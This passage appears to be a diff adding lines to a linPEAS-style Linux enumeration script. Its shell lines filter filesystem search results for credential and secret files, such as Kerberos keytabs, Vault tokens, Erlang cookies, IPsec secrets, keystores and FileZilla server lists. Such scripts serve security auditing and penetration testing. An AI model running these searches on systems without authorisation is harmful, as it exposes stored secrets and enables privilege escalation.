-E "ipa$|dirsrv$" | sort | uniq | head -n 70)
+ PSTORAGE_KERBEROS=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "krb5\.conf$|.*\.keytab$|\.k5login$|krb5cc_.*$|kadm5\.acl$|secrets\.ldb$|\.secrets\.mkey$|sssd\.conf$" | sort | uniq | head -n 70)
+ PSTORAGE_KIBANA=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "kibana\.y.*ml$" | sort | uniq | head -n 70)
+ PSTORAGE_GRAFANA=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "grafana\.ini$" | sort | uniq | head -n 70)
+ PSTORAGE_KNOCKD=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E '/etc/init.d/' | grep -E "^${ROOT_FOLDER}etc" | grep -E ".*knockd.*$" | sort | uniq | head -n 70)
+ PSTORAGE_LOGSTASH=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_ETC\n$FIND_DIR_USR\n$FIND_DIR_CDROM\n$FIND_DIR_SRV\n$FIND_DIR_OPT\n$FIND_DIR_SBIN\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SNAP\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_MEDIA\n$FIND_DIR_TMP\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_PRIVATE\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "logstash$" | sort | uniq | head -n 70)
+ PSTORAGE_ELASTICSEARCH=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "elasticsearch\.y.*ml$" | sort | uniq | head -n 70)
+ PSTORAGE_VAULT_SSH_HELPER=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "vault-ssh-helper\.hcl$" | sort | uniq | head -n 70)
+ PSTORAGE_VAULT_SSH_TOKEN=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "\.vault-token$" | sort | uniq | head -n 70)
+ PSTORAGE_COUCHDB=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_ETC\n$FIND_DIR_USR\n$FIND_DIR_CDROM\n$FIND_DIR_SRV\n$FIND_DIR_OPT\n$FIND_DIR_SBIN\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SNAP\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_MEDIA\n$FIND_DIR_TMP\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_PRIVATE\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "couchdb$" | sort | uniq | head -n 70)
+ PSTORAGE_REDIS=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "redis\.conf$" | sort | uniq | head -n 70)
+ PSTORAGE_MOSQUITTO=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "mosquitto\.conf$" | sort | uniq | head -n 70)
+ PSTORAGE_NEO4J=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_ETC\n$FIND_DIR_USR\n$FIND_DIR_CDROM\n$FIND_DIR_SRV\n$FIND_DIR_OPT\n$FIND_DIR_SBIN\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SNAP\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_MEDIA\n$FIND_DIR_TMP\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_PRIVATE\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "neo4j$" | sort | uniq | head -n 70)
+ PSTORAGE_CLOUD_INIT=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "cloud\.cfg$" | sort | uniq | head -n 70)
+ PSTORAGE_ERLANG=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "\.erlang\.cookie$" | sort | uniq | head -n 70)
+ PSTORAGE_SIP=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "sip\.conf$|amportal\.conf$|FreePBX\.conf$|Elastix\.conf$" | sort | uniq | head -n 70)
+ PSTORAGE_GMV_AUTH=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "gvm-tools\.conf$" | sort | uniq | head -n 70)
+ PSTORAGE_IPSEC=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "ipsec\.secrets$|ipsec\.conf$" | sort | uniq | head -n 70)
+ PSTORAGE_IRSSI=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_ETC\n$FIND_DIR_USR\n$FIND_DIR_CDROM\n$FIND_DIR_SRV\n$FIND_DIR_OPT\n$FIND_DIR_SBIN\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SNAP\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_MEDIA\n$FIND_DIR_TMP\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_PRIVATE\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "\.irssi$" | sort | uniq | head -n 70)
+ PSTORAGE_KEYRING=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_DIR_MNT\n$FIND_DIR_ETC\n$FIND_DIR_USR\n$FIND_DIR_CDROM\n$FIND_DIR_SRV\n$FIND_DIR_OPT\n$FIND_DIR_SBIN\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SNAP\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_MEDIA\n$FIND_DIR_TMP\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_PRIVATE\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "keyrings$|.*\.keyring$|.*\.keystore$|.*\.jks$" | sort | uniq | head -n 70)
+ PSTORAGE_VIRTUAL_DISKS=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E ".*\.vhd$|.*\.vhdx$|.*\.vmdk$" | sort | uniq | head -n 70)
+ PSTORAGE_FILEZILLA=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_DIR_MNT\n$FIND_DIR_ETC\n$FIND_DIR_USR\n$FIND_DIR_CDROM\n$FIND_DIR_SRV\n$FIND_DIR_OPT\n$FIND_DIR_SBIN\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SNAP\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_MEDIA\n$FIND_DIR_TMP\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_PRIVATE\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "filezilla$|filezilla\.xml$|recentservers\.xml$" | sort | uniq | head -n 70)
+ PSTORAGE_BACKUP_MANAGER=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "storage\.php$|database\.php$" | sort | uniq | head -n 70)
